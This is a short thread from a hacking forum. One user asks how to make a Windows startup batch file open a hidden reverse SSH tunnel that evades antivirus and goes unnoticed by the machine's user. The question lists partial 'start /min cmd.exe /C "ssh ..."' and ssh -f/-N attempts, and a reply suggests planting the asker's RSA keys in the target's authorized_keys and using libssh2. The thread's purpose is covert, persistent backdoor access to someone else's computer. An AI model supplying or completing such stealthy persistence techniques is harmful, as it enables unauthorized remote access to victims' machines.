

Forum:[Hack Forums](#)

Thread: [How to create a batch file that runs a hidden reverse SSH tunnel in background?](#)

Tr0jandog - September 24, 2019, 11:09 pm

So i tried to create a batch file that does this in the startup folder, trying to make it as minimize as possible to avoid AV detection, for example i don't want to try scheduled task or VBS. so just a batch file

So these are the things i tried in the batch file but non worked :

ssh with -f and/or -o flag

start /min cmd.exe /C "ssh ..."

start /B cmd.exe /C "ssh ..."

non of them worked, they either didn't connect, or not really stealthy (with a new CMD spawning and not dying)

when i dont include option N and say -f, it doesn't work and i cannot connect from other side

when i do say -fN, weirdly enough (with or without /min) a new empty cmd shell spawns, and even when i close it manually i can still connect! tried killing cmd.exe after a timeout to close it automatically but that didnt work

but there has to be a way, how can i send a reverse ssh tunnel in a batch file without user noticing it?

stderr - October 11, 2019, 8:32 pm

just drop your rsa keys into their .authorized_keys, use the libssh2 library and reverse tunnel.